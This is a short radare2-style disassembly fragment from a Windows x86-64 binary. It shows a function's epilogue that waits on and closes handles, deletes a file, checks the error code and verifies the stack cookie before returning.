mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140009405
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov bl, sil
cmp qword [rbp - 0x78], 8
jb 0x140009416
mov rcx, qword [rsp + 0x70]
call fcn.140011398
mov al, bl
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret